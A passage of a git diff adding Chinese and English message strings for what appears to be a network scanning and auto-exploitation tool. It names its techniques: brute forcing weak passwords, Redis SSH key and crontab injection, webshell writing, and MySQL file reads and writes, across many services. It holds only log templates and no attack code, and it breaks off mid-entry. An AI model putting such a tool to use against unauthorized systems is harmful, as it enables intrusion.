+ "plugin_init": {
+ LangZH: "初始化插件: %s",
+ LangEN: "Initializing plugin: %s",
+ },
+ "plugin_scan_start": {
+ LangZH: "开始%s插件扫描: %s",
+ LangEN: "Starting %s plugin scan: %s",
+ },
+ "plugin_scan_success": {
+ LangZH: "%s扫描成功: %s",
+ LangEN: "%s scan successful: %s",
+ },
+ "plugin_scan_failed": {
+ LangZH: "%s插件扫描失败: %v",
+ LangEN: "%s plugin scan failed: %v",
+ },
+ "plugin_exploit_start": {
+ LangZH: "开始%s自动利用: %s",
+ LangEN: "Starting %s auto exploitation: %s",
+ },
+ "plugin_exploit_success": {
+ LangZH: "%s利用成功: %s",
+ LangEN: "%s exploitation successful: %s",
+ },
+ "plugin_exploit_failed": {
+ LangZH: "%s利用失败: %v",
+ LangEN: "%s exploitation failed: %v",
+ },
+
+ // ========================= 通用成功消息模板 =========================
+ "plugin_login_success": {
+ LangZH: "%s弱密码: %s [%s:%s]",
+ LangEN: "%s weak password: %s [%s:%s]",
+ },
+ "plugin_login_success_passwd_only": {
+ LangZH: "%s弱密码: %s [%s]",
+ LangEN: "%s weak password: %s [%s]",
+ },
+ "plugin_unauthorized_access": {
+ LangZH: "%s未授权访问: %s",
+ LangEN: "%s unauthorized access: %s",
+ },
+
+ // ========================= 利用(Exploit)消息模板 =========================
+ "exploit_weak_password_success": {
+ LangZH: "%s %s 弱密码利用成功",
+ LangEN: "%s %s weak password exploit successful",
+ },
+ "exploit_unauthorized_success": {
+ LangZH: "%s %s 未授权访问利用成功",
+ LangEN: "%s %s unauthorized access exploit successful",
+ },
+ "exploit_command_exec_success": {
+ LangZH: "%s %s 命令执行利用成功",
+ LangEN: "%s %s command execution exploit successful",
+ },
+ "exploit_file_write_success": {
+ LangZH: "%s %s 文件写入利用成功",
+ LangEN: "%s %s file write exploit successful",
+ },
+ "exploit_sql_injection_success": {
+ LangZH: "%s %s SQL注入利用成功",
+ LangEN: "%s %s SQL injection exploit successful",
+ },
+ "exploit_data_extraction_success": {
+ LangZH: "%s %s %s 利用成功",
+ LangEN: "%s %s %s exploit successful",
+ },
+ "exploit_generic_success": {
+ LangZH: "%s %s %s 利用成功",
+ LangEN: "%s %s %s exploit successful",
+ },
+ "exploit_with_output": {
+ LangZH: " 输出: %s",
+ LangEN: " output: %s",
+ },
+ "exploit_files_created": {
+ LangZH: "创建/修改的文件: %v",
+ LangEN: "Files created/modified: %v",
+ },
+ "exploit_shell_obtained": {
+ LangZH: "获得Shell: %s %s:%d 用户:%s",
+ LangEN: "Shell obtained: %s %s:%d user:%s",
+ },
+
+ // ========================= 利用方法执行消息 =========================
+ "exploit_method_trying": {
+ LangZH: "尝试利用方法: %s",
+ LangEN: "Trying exploit method: %s",
+ },
+ "exploit_method_success": {
+ LangZH: "利用方法 %s 执行成功",
+ LangEN: "Exploit method %s executed successfully",
+ },
+ "exploit_method_failed": {
+ LangZH: "利用方法 %s 执行失败: %v",
+ LangEN: "Exploit method %s failed: %v",
+ },
+ "exploit_method_condition_not_met": {
+ LangZH: "利用方法 %s 前置条件不满足,跳过",
+ LangEN: "Exploit method %s prerequisites not met, skipping",
+ },
+ "exploit_all_methods_failed": {
+ LangZH: "所有利用方法都失败",
+ LangEN: "All exploit methods failed",
+ },
+
+ // ========================= MySQL利用方法消息 =========================
+ "mysql_version_info": {
+ LangZH: "MySQL版本: %s",
+ LangEN: "MySQL version: %s",
+ },
+ "mysql_current_user": {
+ LangZH: "当前用户: %s",
+ LangEN: "Current user: %s",
+ },
+ "mysql_current_database": {
+ LangZH: "当前数据库: %s",
+ LangEN: "Current database: %s",
+ },
+ "mysql_databases_found": {
+ LangZH: "发现数据库: %s",
+ LangEN: "Databases found: %s",
+ },
+ "mysql_tables_found": {
+ LangZH: "发现表: %v",
+ LangEN: "Tables found: %v",
+ },
+ "mysql_user_privileges": {
+ LangZH: "用户权限: %s",
+ LangEN: "User privileges: %s",
+ },
+ "mysql_file_privilege_detected": {
+ LangZH: "检测到FILE权限,可能支持文件操作",
+ LangEN: "FILE privilege detected, file operations may be supported",
+ },
+ "mysql_file_read_success": {
+ LangZH: "读取文件 %s:\n%s",
+ LangEN: "File %s read:\n%s",
+ },
+ "mysql_file_write_success": {
+ LangZH: "成功写入文件: %s",
+ LangEN: "File written successfully: %s",
+ },
+ "mysql_no_file_privilege": {
+ LangZH: "无法读取任何文件,可能没有FILE权限",
+ LangEN: "Cannot read any files, may lack FILE privilege",
+ },
+
+ // ========================= Redis利用方法消息 =========================
+ "redis_server_info": {
+ LangZH: "Redis服务器信息: %s",
+ LangEN: "Redis server info: %s",
+ },
+ "redis_config_info": {
+ LangZH: "Redis配置信息: %s",
+ LangEN: "Redis config info: %s",
+ },
+ "redis_keys_found": {
+ LangZH: "发现Redis键: %v",
+ LangEN: "Redis keys found: %v",
+ },
+ "redis_backup_created": {
+ LangZH: "Redis备份创建成功: %s",
+ LangEN: "Redis backup created: %s",
+ },
+ "redis_cron_job_written": {
+ LangZH: "Cron任务写入成功: %s",
+ LangEN: "Cron job written successfully: %s",
+ },
+ "redis_ssh_key_written": {
+ LangZH: "SSH密钥写入成功: %s",
+ LangEN: "SSH key written successfully: %s",
+ },
+ "redis_webshell_written": {
+ LangZH: "Webshell写入成功: %s",
+ LangEN: "Webshell written successfully: %s",
+ },
+ "redis_no_keys_found": {
+ LangZH: "未发现任何Redis键",
+ LangEN: "No Redis keys found",
+ },
+ "redis_write_failed": {
+ LangZH: "Redis写入操作失败",
+ LangEN: "Redis write operation failed",
+ },
+
+ // ========================= 插件架构消息 =========================
+ "plugin_new_arch_trying": {
+ LangZH: "尝试使用新插件架构: %s",
+ LangEN: "Trying new plugin architecture: %s",
+ },
+ "plugin_new_arch_success": {
+ LangZH: "新插件架构处理成功: %s",
+ LangEN: "New plugin architecture successful: %s",
+ },
+ "plugin_new_arch_fallback": {
+ LangZH: "新插件架构失败,回退到传统实现: %s - %v",
+ LangEN: "New plugin architecture failed, falling back to legacy: %s - %v",
+ },
+ "plugin_legacy_using": {
+ LangZH: "插件 %s 不支持新架构,使用传统实现",
+ LangEN: "Plugin %s not supported in new architecture, using legacy",
+ },
+
+ // ========================= MySQL插件消息 =========================
+ "mysql_scan_start": {
+ LangZH: "开始MySQL扫描: %s",
+ LangEN: "Starting MySQL scan: %s",
+ },
+ "mysql_scan_success": {
+ LangZH: "MySQL弱密码扫描成功: %s [%s:%s]",
+ LangEN: "MySQL weak password scan successful: %s [%s:%s]",
+ },
+ "mysql_service_identified": {
+ LangZH: "MySQL服务识别成功: %s - %s",
+ LangEN: "MySQL service identified: %s - %s",
+ },
+ "mysql_connection_failed": {
+ LangZH: "MySQL连接失败: %v",
+ LangEN: "MySQL connection failed: %v",
+ },
+ "mysql_auth_failed": {
+ LangZH: "MySQL认证失败: %v",
+ LangEN: "MySQL authentication failed: %v",
+ },
+ "mysql_exploit_info_gather": {
+ LangZH: "MySQL信息收集成功",
+ LangEN: "MySQL information gathering successful",
+ },
+ "mysql_exploit_db_enum": {
+ LangZH: "MySQL数据库枚举成功",
+ LangEN: "MySQL database enumeration successful",
+ },
+ "mysql_exploit_file_write": {
+ LangZH: "MySQL文件写入成功: %s",
+ LangEN: "MySQL file write successful: %s",
+ },
+ "mysql_exploit_file_read": {
+ LangZH: "MySQL文件读取成功: %s",
+ LangEN: "MySQL file read successful: %s",
+ },
+
+ // ========================= Redis插件消息 =========================
+ "redis_scan_start": {
+ LangZH: "开始Redis扫描: %s",
+ LangEN: "Starting Redis scan: %s",
+ },
+ "redis_unauth_success": {
+ LangZH: "Redis未授权访问: %s",
+ LangEN: "Redis unauthorized access: %s",
+ },
+ "redis_weak_pwd_success": {
+ LangZH: "Redis弱密码扫描成功: %s [%s]",
+ LangEN: "Redis weak password scan successful: %s [%s]",
+ },
+ "redis_service_identified": {
+ LangZH: "Redis服务识别成功: %s - %s",
+ LangEN: "Redis service identified: %s - %s",
+ },
+ "redis_connection_failed": {
+ LangZH: "Redis连接失败: %v",
+ LangEN: "Redis connection failed: %v",
+ },
+ "redis_auth_failed": {
+ LangZH: "Redis认证失败: %v",
+ LangEN: "Redis authentication failed: %v",
+ },
+ "redis_exploit_file_write": {
+ LangZH: "Redis任意文件写入成功: %s",
+ LangEN: "Redis arbitrary file write successful: %s",
+ },
+ "redis_exploit_ssh_key": {
+ LangZH: "Redis SSH密钥注入成功",
+ LangEN: "Redis SSH key injection successful",
+ },
+ "redis_exploit_crontab": {
+ LangZH: "Redis定时任务注入成功",
+ LangEN: "Redis crontab injection successful",
+ },
+ "redis_exploit_data_extract": {
+ LangZH: "Redis数据提取成功",
+ LangEN: "Redis data extraction successful",
+ },
+
+ // ========================= SSH插件消息 =========================
+ "ssh_scan_start": {
+ LangZH: "开始SSH扫描: %s",
+ LangEN: "Starting SSH scan: %s",
+ },
+ "ssh_key_auth_success": {
+ LangZH: "SSH密钥认证成功: %s [%s]",
+ LangEN: "SSH key authentication successful: %s [%s]",
+ },
+ "ssh_pwd_auth_success": {
+ LangZH: "SSH密码认证成功: %s [%s:%s]",
+ LangEN: "SSH password authentication successful: %s [%s:%s]",
+ },
+ "ssh_service_identified": {
+ LangZH: "SSH服务识别成功: %s - %s",
+ LangEN: "SSH service identified: %s - %s",
+ },
+ "ssh_connection_failed": {
+ LangZH: "SSH连接失败: %v",
+ LangEN: "SSH connection failed: %v",
+ },
+ "ssh_auth_failed": {
+ LangZH: "SSH认证失败: %v",
+ LangEN: "SSH authentication failed: %v",
+ },
+ "ssh_key_read_failed": {
+ LangZH: "读取SSH私钥失败: %v",
+ LangEN: "Failed to read SSH private key: %v",
+ },
+
+ // ========================= 通用错误消息 =========================
+ "plugin_brute_disabled": {
+ LangZH: "暴力破解已禁用",
+ LangEN: "Brute force disabled",
+ },
+ "plugin_no_credentials": {
+ LangZH: "没有可用的凭据",
+ LangEN: "No credentials available",
+ },
+ "plugin_all_creds_failed": {
+ LangZH: "所有凭据扫描失败",
+ LangEN: "All credential scans failed",
+ },
+ "plugin_invalid_port": {
+ LangZH: "无效的端口号: %s",
+ LangEN: "Invalid port number: %s",
+ },
+ "plugin_timeout": {
+ LangZH: "插件扫描超时",
+ LangEN: "Plugin scan timeout",
+ },
+ "plugin_vuln_found": {
+ LangZH: "%s发现漏洞: %s - %s",
+ LangEN: "%s vulnerability found: %s - %s",
+ },
+
+ // ========================= 利用方法名称i18n =========================
+ "exploit_method_name_information_gathering": {
+ LangZH: "信息收集",
+ LangEN: "information_gathering",
+ },
+ "exploit_method_name_database_enumeration": {
+ LangZH: "数据库枚举",
+ LangEN: "database_enumeration",
+ },
+ "exploit_method_name_privilege_check": {
+ LangZH: "权限检查",
+ LangEN: "privilege_check",
+ },
+ "exploit_method_name_file_read": {
+ LangZH: "文件读取",
+ LangEN: "file_read",
+ },
+ "exploit_method_name_file_write": {
+ LangZH: "文件写入",
+ LangEN: "file_write",
+ },
+ "exploit_method_name_arbitrary_file_write": {
+ LangZH: "任意文件写入",
+ LangEN: "arbitrary_file_write",
+ },
+ "exploit_method_name_ssh_key_write": {
+ LangZH: "SSH密钥写入",
+ LangEN: "ssh_key_write",
+ },
+ "exploit_method_name_crontab_injection": {
+ LangZH: "定时任务注入",
+ LangEN: "crontab_injection",
+ },
+ "exploit_method_name_data_extraction": {
+ LangZH: "数据提取",
+ LangEN: "data_extraction",
+ },
+ "exploit_method_name_system_info": {
+ LangZH: "系统信息收集",
+ LangEN: "system_info",
+ },
+ "exploit_method_name_command_test": {
+ LangZH: "命令执行测试",
+ LangEN: "command_test",
+ },
+
+ // ========================= SSH利用方法消息 =========================
+ "ssh_command_result": {
+ LangZH: "%s: %s",
+ LangEN: "%s: %s",
+ },
+ "ssh_test_command": {
+ LangZH: "执行命令 '%s': %s",
+ LangEN: "Executed command '%s': %s",
+ },
+ "ssh_sudo_check": {
+ LangZH: "Sudo权限: %s",
+ LangEN: "Sudo privileges: %s",
+ },
+ "ssh_root_access": {
+ LangZH: "检测到root权限访问",
+ LangEN: "Root access detected",
+ },
+ "ssh_user_groups": {
+ LangZH: "用户组: %s",
+ LangEN: "User groups: %s",
+ },
+
+ // ========================= 利用结果消息 =========================
+ "exploit_result_saved": {
+ LangZH: "利用结果已保存: %s",
+ LangEN: "Exploitation result saved: %s",
+ },
+
+ // ========================= ActiveMQ插件消息 =========================
+ "activemq_scan_start": {
+ LangZH: "开始ActiveMQ扫描: %s",
+ LangEN: "Starting ActiveMQ scan: %s",
+ },
+ "activemq_stomp_scan_success": {
+ LangZH: "ActiveMQ弱密码扫描成功(STOMP): %s [%s:%s]",
+ LangEN: "ActiveMQ weak password scan successful(STOMP): %s [%s:%s]",
+ },
+ "activemq_service_identified": {
+ LangZH: "ActiveMQ服务识别成功: %s (%s) - %s",
+ LangEN: "ActiveMQ service identified: %s (%s) - %s",
+ },
+ "activemq_stomp_auth_success": {
+ LangZH: "ActiveMQ STOMP认证成功: %s@%s:%d",
+ LangEN: "ActiveMQ STOMP authentication successful: %s@%s:%d",
+ },
+ "activemq_connection_failed": {
+ LangZH: "ActiveMQ连接失败: %v",
+ LangEN: "ActiveMQ connection failed: %v",
+ },
+ "activemq_auth_failed": {
+ LangZH: "ActiveMQ认证失败: %v",
+ LangEN: "ActiveMQ authentication failed: %v",
+ },
+ "activemq_stomp_auth_failed": {
+ LangZH: "ActiveMQ STOMP认证失败: %v",
+ LangEN: "ActiveMQ STOMP authentication failed: %v",
+ },
+
+ // ActiveMQ利用方法消息
+ "activemq_exploit_info_gather": {
+ LangZH: "ActiveMQ信息收集成功",
+ LangEN: "ActiveMQ information gathering successful",
+ },
+ "activemq_exploit_message_enum": {
+ LangZH: "ActiveMQ消息枚举成功",
+ LangEN: "ActiveMQ message enumeration successful",
+ },
+ "activemq_exploit_queue_mgmt": {
+ LangZH: "ActiveMQ队列管理成功",
+ LangEN: "ActiveMQ queue management successful",
+ },
+ "activemq_exploit_config_dump": {
+ LangZH: "ActiveMQ配置转储成功",
+ LangEN: "ActiveMQ configuration dump successful",
+ },
+ "activemq_queues_found": {
+ LangZH: "发现ActiveMQ队列: %s",
+ LangEN: "ActiveMQ queues found: %s",
+ },
+ "activemq_topics_found": {
+ LangZH: "发现ActiveMQ主题: %s",
+ LangEN: "ActiveMQ topics found: %s",
+ },
+ "activemq_queue_created": {
+ LangZH: "成功创建测试队列: %s",
+ LangEN: "Test queue created successfully: %s",
+ },
+ "activemq_message_sent": {
+ LangZH: "消息发送成功到队列: %s",
+ LangEN: "Message sent successfully to queue: %s",
+ },
+ "activemq_version_info": {
+ LangZH: "ActiveMQ版本: %s",
+ LangEN: "ActiveMQ version: %s",
+ },
+ "activemq_broker_info": {
+ LangZH: "ActiveMQ Broker信息: %s",
+ LangEN: "ActiveMQ Broker info: %s",
+ },
+ "activemq_protocol_detected": {
+ LangZH: "检测到ActiveMQ协议: %s",
+ LangEN: "ActiveMQ protocol detected: %s",
+ },
+
+ // ActiveMQ利用方法名称
+ "exploit_method_name_activemq_info_gather": {
+ LangZH: "信息收集",
+ LangEN: "Information Gathering",
+ },
+ "exploit_method_name_activemq_message_enum": {
+ LangZH: "消息枚举",
+ LangEN: "Message Enumeration",
+ },
+ "exploit_method_name_activemq_queue_mgmt": {
+ LangZH: "队列管理",
+ LangEN: "Queue Management",
+ },
+ "exploit_method_name_activemq_config_dump": {
+ LangZH: "配置转储",
+ LangEN: "Configuration Dump",
+ },
+
+ // ========================= FTP插件消息 =========================
+ "ftp_scan_start": {
+ LangZH: "开始FTP扫描: %s",
+ LangEN: "Starting FTP scan: %s",
+ },
+ "ftp_anonymous_success": {
+ LangZH: "FTP匿名访问: %s",
+ LangEN: "FTP anonymous access: %s",
+ },
+ "ftp_weak_pwd_success": {
+ LangZH: "FTP弱密码: %s [%s:%s]",
+ LangEN: "FTP weak password: %s [%s:%s]",
+ },
+ "ftp_service_identified": {
+ LangZH: "FTP服务识别成功: %s - %s",
+ LangEN: "FTP service identified: %s - %s",
+ },
+ "ftp_connection_failed": {
+ LangZH: "FTP连接失败: %v",
+ LangEN: "FTP connection failed: %v",
+ },
+ "ftp_auth_failed": {
+ LangZH: "FTP认证失败: %v",
+ LangEN: "FTP authentication failed: %v",
+ },
+
+ // FTP利用方法消息
+ "ftp_exploit_dir_enum": {
+ LangZH: "FTP目录枚举成功",
+ LangEN: "FTP directory enumeration successful",
+ },
+ "ftp_exploit_file_download": {
+ LangZH: "FTP文件下载测试成功",
+ LangEN: "FTP file download test successful",
+ },
+ "ftp_exploit_file_upload": {
+ LangZH: "FTP文件上传测试成功",
+ LangEN: "FTP file upload test successful",
+ },
+
+ // ========================= IMAP插件消息 =========================
+ "imap_weak_pwd_success": {
+ LangZH: "IMAP弱密码: %s [%s:%s]",
+ LangEN: "IMAP weak password: %s [%s:%s]",
+ },
+ "imap_service_identified": {
+ LangZH: "IMAP服务识别成功: %s - %s",
+ LangEN: "IMAP service identified: %s - %s",
+ },
+ "imap_connection_failed": {
+ LangZH: "IMAP连接失败: %v",
+ LangEN: "IMAP connection failed: %v",
+ },
+ "imap_auth_failed": {
+ LangZH: "IMAP认证失败: %v",
+ LangEN: "IMAP authentication failed: %v",
+ },
+
+ // ========================= Kafka插件消息 =========================
+ "kafka_weak_pwd_success": {
+ LangZH: "Kafka弱密码: %s [%s:%s]",
+ LangEN: "Kafka weak password: %s [%s:%s]",
+ },
+ "kafka_unauth_access": {
+ LangZH: "Kafka服务 %s 无需认证即可访问",
+ LangEN: "Kafka service %s allows unauthorized access",
+ },
+ "kafka_service_identified": {
+ LangZH: "Kafka服务识别成功: %s - %s",
+ LangEN: "Kafka service identified: %s - %s",
+ },
+ "kafka_connection_failed": {
+ LangZH: "Kafka连接失败: %v",
+ LangEN: "Kafka connection failed: %v",
+ },
+ "kafka_auth_failed": {
+ LangZH: "Kafka认证失败: %v",
+ LangEN: "Kafka authentication failed: %v",
+ },
+ "ftp_directory_found": {
+ LangZH: "发现FTP目录: %s",
+ LangEN: "FTP directories found: %s",
+ },
+ "ftp_file_found": {
+ LangZH: "发现FTP文件: %s",
+ LangEN: "FTP files found: %s",
+ },
+ "ftp_upload_success": {
+ LangZH: "FTP文件上传成功: %s",
+ LangEN: "FTP file upload successful: %s",
+ },
+ "ftp_download_success": {
+ LangZH: "FTP文件下载成功: %s",
+ LangEN: "FTP file download successful: %s",
+ },
+
+ // FTP利用方法名称
+ "exploit_method_name_directory_enumeration": {
+ LangZH: "目录枚举",
+ LangEN: "Directory Enumeration",
+ },
+ "exploit_method_name_file_download_test": {
+ LangZH: "文件下载测试",
+ LangEN: "File Download Test",
+ },
+ "exploit_method_name_file_upload_test": {
+ LangZH: "文件上传测试",
+ LangEN: "File Upload Test",
+ },
+
+ // ========================= LDAP插件消息 =========================
+ "ldap_weak_pwd_success": {
+ LangZH: "LDAP弱密码: %s [%s:%s]",
+ LangEN: "LDAP weak password: %s [%s:%s]",
+ },
+ "ldap_anonymous_access": {
+ LangZH: "LDAP服务 %s 匿名访问成功",
+ LangEN: "LDAP service %s anonymous access successful",
+ },
+ "ldap_service_identified": {
+ LangZH: "LDAP服务识别成功: %s - %s",
+ LangEN: "LDAP service identified: %s - %s",
+ },
+ "ldap_connection_failed": {
+ LangZH: "LDAP连接失败: %v",
+ LangEN: "LDAP connection failed: %v",
+ },
+ "ldap_auth_failed": {
+ LangZH: "LDAP认证失败: %v",
+ LangEN: "LDAP authentication failed: %v",
+ },
+
+ // ========================= Memcached插件消息 =========================
+ "memcached_unauth_access": {
+ LangZH: "Memcached服务 %s 未授权访问成功",
+ LangEN: "Memcached service %s unauthorized access successful",
+ },
+ "memcached_service_identified": {
+ LangZH: "Memcached服务识别成功: %s - %s",
+ LangEN: "Memcached service identified: %s - %s",
+ },
+ "memcached_connection_failed": {
+ LangZH: "Memcached连接失败: %v",
+ LangEN: "Memcached connection failed: %v",
+ },
+
+ // ========================= Modbus插件消息 =========================
+ "modbus_unauth_access": {
+ LangZH: "Modbus服务 %s 无认证访问成功",
+ LangEN: "Modbus service %s unauthorized access successful",
+ },
+ "modbus_device_info": {
+ LangZH: "设备信息: %s",
+ LangEN: "Device info: %s",
+ },
+ "modbus_service_identified": {
+ LangZH: "Modbus服务识别成功: %s - %s",
+ LangEN: "Modbus service identified: %s - %s",
+ },
+ "modbus_connection_failed": {
+ LangZH: "Modbus连接失败: %v",
+ LangEN: "Modbus connection failed: %v",
+ },
+
+ // ========================= MongoDB插件消息 =========================
+ "mongodb_unauth_access": {
+ LangZH: "MongoDB服务 %s 未授权访问成功",
+ LangEN: "MongoDB service %s unauthorized access successful",
+ },
+ "mongodb_service_identified": {
+ LangZH: "MongoDB服务识别成功: %s - %s",
+ LangEN: "MongoDB service identified: %s - %s",
+ },
+ "mongodb_connection_failed": {
+ LangZH: "MongoDB连接失败: %v",
+ LangEN: "MongoDB connection failed: %v",
+ },
+ "mongodb_auth_failed": {
+ LangZH: "MongoDB认证失败: %v",
+ LangEN: "MongoDB authentication failed: %v",
+ },
+
+ // ========================= MSSQL插件消息 =========================
+ "mssql_auth_success": {
+ LangZH: "MSSQL服务 %s 认证成功 %s:%s",
+ LangEN: "MSSQL service %s authentication successful %s:%s",
+ },
+ "mssql_service_identified": {
+ LangZH: "MSSQL服务识别成功: %s - %s",
+ LangEN: "MSSQL service identified: %s - %s",
+ },
+ "mssql_connection_failed": {
+ LangZH: "MSSQL连接失败: %v",
+ LangEN: "MSSQL connection failed: %v",
+ },
+ "mssql_auth_failed": {
+ LangZH: "MSSQL认证失败 %s: %v",
+ LangEN: "MSSQL authentication failed %s: %v",
+ },
+
+ // ========================= Neo4j插件消息 =========================
+ "neo4j_unauth_access": {
+ LangZH: "Neo4j服务 %s 未授权访问成功",
+ LangEN: "Neo4j service %s unauthorized access successful",
+ },
+ "neo4j_default_creds": {
+ LangZH: "Neo4j服务 %s 默认凭证可用 %s:%s",
+ LangEN: "Neo4j service %s default credentials available %s:%s",
+ },
+ "neo4j_auth_success": {
+ LangZH: "Neo4j服务 %s 认证成功 %s:%s",
+ LangEN: "Neo4j service %s authentication successful %s:%s",
+ },
+ "neo4j_service_identified": {
+ LangZH: "Neo4j服务识别成功: %s - %s",
+ LangEN: "Neo4j service identified: %s - %s",
+ },
+ "neo4j_connection_failed": {
+ LangZH: "Neo4j连接失败: %v",
+ LangEN: "Neo4j connection failed: %v",
+ },
+ "neo4j_auth_failed": {
+ LangZH: "Neo4j认证失败 %s: %v",
+ LangEN: "Neo4j authentication failed %s: %v",
+ },
+
+ // ========================= PostgreSQL插件消息 =========================
+ "postgresql_auth_success": {
+ LangZH: "PostgreSQL服务 %s 认证成功 %s:%s",
+ LangEN: "PostgreSQL service %s authentication successful %s:%s",
+ },
+ "postgresql_service_identified": {
+ LangZH: "PostgreSQL服务识别成功: %s - %s",
+ LangEN: "PostgreSQL service identified: %s - %s",
+ },
+ "postgresql_connection_failed": {
+ LangZH: "PostgreSQL连接失败: %v",
+ LangEN: "PostgreSQL connection failed: %v",
+ },
+ "postgresql_auth_failed": {
+ LangZH: "PostgreSQL认证失败 %s: %v",
+ LangEN: "PostgreSQL authentication failed %s: %v",
+ },
+
+ // ========================= Oracle插件消息 =========================
+ "oracle_auth_success": {
+ LangZH: "Oracle服务 %s 认证成功 %s:%s",
+ LangEN: "Oracle service %s authentication successful %s:%s",
+ },
+ "oracle_sys_auth_success": {
+ LangZH: "Oracle服务 %s 高危用户认证成功 %s:%s (可能需要SYSDBA权限)",
+ LangEN: "Oracle service %s high-risk user authentication successful %s:%s (may require SYSDBA privilege)",
+ },
+ "oracle_service_identified": {
+ LangZH: "Oracle服务识别成功: %s - %s",
+ LangEN: "Oracle service identified: %s - %s",
+ },
+ "oracle_connection_failed": {
+ LangZH: "Oracle连接失败: %v",
+ LangEN: "Oracle connection failed: %v",
+ },
+ "oracle_auth_failed": {
+ LangZH: "Oracle认证失败 %s: %v",
+ LangEN: "Oracle authentication failed %s: %v",
+ },
+
+ // ========================= POP3插件消息 =========================
+ "pop3_weak_pwd_success": {
+ LangZH: "POP3弱密码: %s [%s:%s]",
+ LangEN: "POP3 weak password: %s [%s:%s]",
+ },
+ "pop3_service_identified": {
+ LangZH: "POP3服务识别成功: %s - %s",
+ LangEN: "POP3 service identified: %s - %s",
+ },
+ "pop3_connection_failed": {
+ LangZH: "POP3连接失败: %v",
+ LangEN: "POP3 connection failed: %v",
+ },
+ "pop3_auth_failed": {
+ LangZH: "POP3认证失败: %v",
+ LangEN: "POP3 authentication failed: %v",
+ },
+
+ // ========================= RabbitMQ插件消息 =========================
+ "rabbitmq_weak_pwd_success": {
+ LangZH: "RabbitMQ弱密码: %s [%s:%s]",
+ LangEN: "RabbitMQ weak password: %s [%s:%s]",
+ },
+ "rabbitmq_service_identified": {
+ LangZH: "RabbitMQ服务识别成功: %s - %s",
+ LangEN: "RabbitMQ service identified: %s - %s",
+ },
+ "rabbitmq_connection_failed": {
+ LangZH: "RabbitMQ连接失败: %v",
+ LangEN: "RabbitMQ connection failed: %v",
+ },
+ "rabbitmq_auth_failed": {
+ LangZH: "RabbitMQ认证失败: %v",
+ LangEN: "RabbitMQ authentication failed: %v",
+ },
+
+ // ========================= Rsync插件消息 =========================
+ "rsync_anonymous_success": {
+ LangZH: "Rsync匿名访问: %s",
+ LangEN: "Rsync anonymous access: %s",
+ },
+ "rsync_weak_pwd_success": {
+ LangZH: "Rsync弱密码: %s [%s:%s]",
+ LangEN: "Rsync weak password: %s [%s:%s]",
+ },
+ "rsync_service_identified": {
+ LangZH: "Rsync服务识别成功: %s - %s",
+ LangEN: "Rsync service identified: %s - %s",
+ },
+ "rsync_connection_failed": {
+ LangZH: "Rsync连接失败: %v",
+ LangEN: "Rsync connection failed: %v",
+ },
+ "rsync_auth_failed": {
+ LangZH: "Rsync认证失败: %v",
+ LangEN: "Rsync authentication failed: %v",
+ },
+
+ // ========================= SMTP插件消息 =========================
+ "smtp_anonymous_success": {
+ LangZH: "SMTP匿名访问: %s",
+ LangEN: "SMTP anonymous access: %s",
+ },
+ "smtp_weak_pwd_success": {
+ LangZH: "SMTP弱密码: %s [%s:%s]",
+ LangEN: "SMTP weak password: %s [%s:%s]",
+ },
+ "smtp_service_identified": {
+ LangZH: "SMTP服务识别成功: %s - %s",
+ LangEN: "SMTP service identified: %s - %s",
+ },
+ "smtp_connection_failed": {
+ LangZH: "SMTP连接失败: %v",
+ LangEN: "SMTP connection failed: %v",
+ },
+ "smtp_auth_failed": {
+ LangZH: "SMTP认证失败: %v",
+ LangEN: "SMTP authentication failed: %v",
+ },
+
+ // ========================= SNMP插件消息 =========================
+ "snmp_weak_community_success": {
+ LangZH: "SNMP弱community: %s [%s]",
+ LangEN: "SNMP weak community: %s [%s]",
+ },
+ "snmp_service_identified": {
+ LangZH: "SNMP服务识别成功: %s - %s",
+ LangEN: "SNMP service identified: %s - %s",
+ },
+ "snmp_connection_failed": {
+ LangZH: "SNMP连接失败: %v",
+ LangEN: "SNMP connection failed: %v",
+ },
+ "snmp_auth_failed": {
+ LangZH: "SNMP认证失败: %v",
+ LangEN: "SNMP authentication failed: %v",
+ },
+
+ // ========================= Telnet插件消息 =========================
+ "telnet_weak_password_success": {
+ LangZH: "Telnet弱密码: %s 用户名:%s 密码:%s",
+ LangEN: "Telnet weak password: %s username:%s password:%s",
+ },
+ "telnet_unauthorized_access": {
+ LangZH: "Telnet无需认证: %s",
+ LangEN: "Telnet unauthorized access: %s",
+ },
+ "telnet_connection_failed": {
+ LangZH: "Telnet连接失败: %v",
+ LangEN: "Telnet connection failed: %v",
+ },
+ "telnet_auth_failed": {
+ LangZH: "Telnet认证失败: %v",
+ LangEN: "Telnet authentication failed: %v",
+ },
+}
\ No newline at end of file
diff --git a/common/i18n/messages/scan.go b/common/i18n/messages/scan.go
new file mode 100644
index 0000000..86601ba
--- /dev/null
+++ b/common/i18n/messages/scan.go
@@ -0,0 +1,287 @@
+package messages
+
+/*
+scan.go - 扫描相关消息
+
+包含扫描流程、模式选择、插件管理等相关的
+国际化消息定义。
+*/
+
+// ScanMessages 扫描相关消息
+var ScanMessages = map[string]map[string]string{
+ // ========================= 扫描流程消息 =========================
+ "scan_mode_service_selected": {
+ LangZH: "已选择服务扫描模式",
+ LangEN: "Service scan mode selected",
+ },
+ "scan_mode_alive_selected": {
+ LangZH: "已选择存活探测模式",
+ LangEN: "Alive detection mode selected",
+ },
+ "scan_mode_local_selected": {
+ LangZH: "已选择本地扫描模式",
+ LangEN: "Local scan mode selected",
+ },
+ "scan_mode_web_selected": {
+ LangZH: "已选择Web扫描模式",
+ LangEN: "Web scan mode selected",
+ },
+ "scan_info_start": {
+ LangZH: "开始信息扫描",
+ LangEN: "Starting information scan",
+ },
+ "scan_host_start": {
+ LangZH: "开始主机扫描",
+ LangEN: "Starting host scan",
+ },
+ "scan_vulnerability_start": {
+ LangZH: "开始漏洞扫描",
+ LangEN: "Starting vulnerability scan",
+ },
+ "scan_service_plugins": {
+ LangZH: "使用服务扫描插件: %s",
+ LangEN: "Using service scan plugins: %s",
+ },
+ "scan_no_service_plugins": {
+ LangZH: "未找到可用的服务插件",
+ LangEN: "No available service plugins found",
+ },
+ "scan_vulnerability_plugins": {
+ LangZH: "使用漏洞扫描插件: %s",
+ LangEN: "Using vulnerability scan plugins: %s",
+ },
+ "scan_no_vulnerability_plugins": {
+ LangZH: "未找到可用的漏洞扫描插件",
+ LangEN: "No available vulnerability scan plugins found",
+ },
+ "scan_complete_ports_found": {
+ LangZH: "扫描完成, 发现 %d 个开放端口",
+ LangEN: "Scan completed, found %d open ports",
+ },
+ "scan_alive_ports_count": {
+ LangZH: "存活端口数量: %d",
+ LangEN: "Alive ports count: %d",
+ },
+ "scan_snmp_udp_ports_added": {
